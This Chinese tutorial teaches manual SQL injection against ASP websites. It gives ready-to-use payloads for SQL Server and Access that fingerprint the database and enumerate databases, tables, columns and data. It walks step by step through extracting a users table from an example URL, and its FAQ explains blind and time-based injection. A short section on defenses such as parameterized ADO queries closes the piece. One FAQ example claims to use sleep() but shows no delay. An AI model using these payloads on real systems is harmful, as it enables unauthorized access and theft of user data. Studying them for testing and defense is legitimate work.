在Web应用安全领域,SQL注入始终是最常见的攻击方式之一,ASP(Active Server Pages)作为早期广泛使用的动态网页技术,由于历史代码中可能存在的输入过滤不严、参数化查询缺失等问题,常成为手工注入的目标,本文将围绕ASP手工注入的原理、常用语句、操作步骤及防护策略展开,帮助理解这一攻击方式的底层逻辑,并为安全加固提供参考。

ASP手工注入的基本原理
ASP手工注入的核心在于利用程序未对用户输入进行严格过滤的漏洞,通过构造恶意的SQL语句片段,破坏原有SQL查询语句的结构,从而让数据库执行攻击者预期的命令,在登录页面中,若用户名字段的SQL语句为SELECT * FROM users WHERE username='[input]' AND password='[input]',攻击者在用户名字段输入' OR '1'='1,最终SQL语句将变为SELECT * FROM users WHERE username='' OR '1'='1' AND password='[input]',由于'1'='1'恒为真,攻击者可能绕过密码验证直接登录。
常见注入点与信息收集
ASP网站的注入点通常存在于URL参数、表单提交(POST/GET)、Cookie值、HTTP头信息等需要用户输入的位置,判断是否存在注入点的基本方法包括:
- 报错注入:通过输入特殊字符(如单引号、双引号、分号等),观察页面是否返回数据库错误信息,若提示“SQL语法错误”“未找到对象”等,可能存在注入。
- 布尔盲注:当页面无错误回显时,通过逻辑判断(如
and 1=1/and 1=2)观察页面返回内容是否变化,若变化则可能存在注入。 - 时间盲注:若布尔盲注无效,可通过
sleep()或waitfor delay等函数构造时间延迟语句,通过响应时间差异判断是否存在注入。
信息收集阶段需确定数据库类型(Access、SQL Server等)、版本、数据库名、表名、字段名等,通过@@version可获取SQL Server版本,access()函数可用于判断Access数据库。

核心注入语句解析
ASP手工注入的语句需根据数据库类型调整,以下是常用语句及功能说明:
判断数据库类型
- SQL Server:
and exists(select * from sysobjects)(若页面正常返回,说明为SQL Server) - Access:
and exists(select * from msysobjects)(Access中msysobjects为系统表,但默认不可读,可改用and exists(select * from MSysAccessObjects)或通过表名猜解)
获取数据库名
- SQL Server:
and db_name()>0(通过报错获取数据库名);and (select top 1 name from sysdatabases)>0(逐字符猜解数据库名) - Access:
and (select top 1 name from MSysObjects where type=1)>0(Access中系统表存储表名,需猜解表名)
获取表名
- SQL Server:
and (select top 1 name from sysobjects where xtype='U')>0(xtype='U'表示用户表) - Access:
and (select top 1 name from MSysObjects where type=1 and flags=0)>0(flags=0表示用户表)
获取字段名
- SQL Server:
and (select top 1 column_name from information_schema.columns where table_name='表名')>0 - Access:
and (select top 1 字段名 from 表名)>0(需先猜解字段名)
获取数据
- SQL Server:
and (select top 1 字段名 from 表名)>0(通过convert()函数或substring()逐字符截取数据) - Access:
and (select top 1 mid(字段名,1,1) from 表名)>0(mid()函数用于截取字符串)
注入步骤实战演示(以SQL Server为例)
假设存在注入点http://example.com/news.asp?id=1,步骤如下:
- 判断注入类型:输入
id=1 and 1=1页面正常,id=1 and 1=2页面异常,可判断为数字型注入。 - 获取数据库名:输入
id=1 and db_name()>0,通过报错信息获取数据库名(如testdb)。 - 获取表名:输入
id=1 and (select top 1 name from sysobjects where xtype='U')>0,获取第一个表名(如users)。 - 获取字段名:输入
id=1 and (select top 1 column_name from information_schema.columns where table_name='users')>0,获取第一个字段名(如username)。 - 获取数据:输入
id=1 and (select top 1 username from users)>0,通过substring()逐字符截取字段值(如substring((select top 1 username from users),1,1)='a')。
安全防护策略
防范ASP手工注入需从代码层面和服务器层面入手:

- 输入过滤:对用户输入进行严格验证,过滤特殊字符(如、、等),或使用正则表达式限制输入格式。
- 参数化查询:使用ADO的Command对象或存储过程,通过参数传递用户输入,避免SQL语句拼接。
set cmd = server.createobject("adodb.command") cmd.activeconnection = conn cmd.commandtext = "SELECT * FROM users WHERE username=? AND password=?" cmd.parameters.append cmd.createparameter("username", 200, 1, 50, username) cmd.parameters.append cmd.createparameter("password", 200, 1, 50, password) set rs = cmd.execute - 最小权限原则:为数据库用户分配仅够用的权限,避免使用sa或root等高权限账户。
- 错误信息隐藏:关闭数据库详细错误回显,在ASP中可通过
server.scripterror=true或自定义错误页面实现。
FAQs
Q1:如何快速判断一个ASP网站是否存在SQL注入漏洞?
A:可通过以下步骤快速判断:① 在参数后加单引号,观察是否返回数据库错误;② 使用and 1=1和and 1=2对比页面响应,若内容明显不同,可能存在布尔盲注;③ 尝试时间延迟语句(如and waitfor delay '0:0:5'),若响应延迟5秒,可确认存在时间盲注。
Q2:当ASP网站关闭错误回显时,如何进行手工注入?
A:可改用盲注技术:① 布尔盲注:通过构造逻辑判断语句(如and len((select top 1 username from users))=10),根据页面返回内容(如“登录成功/失败”)逐字符猜解数据长度和内容;② 时间盲注:结合substring()和sleep()函数(如and (select top 1 ascii(substring(username,1,1)) from users)>97),通过响应时间差异判断字符ASCII值,最终还原数据。
【版权声明】:本站所有内容均来自网络,若无意侵犯到您的权利,请及时与我们联系将尽快删除相关内容!
发表回复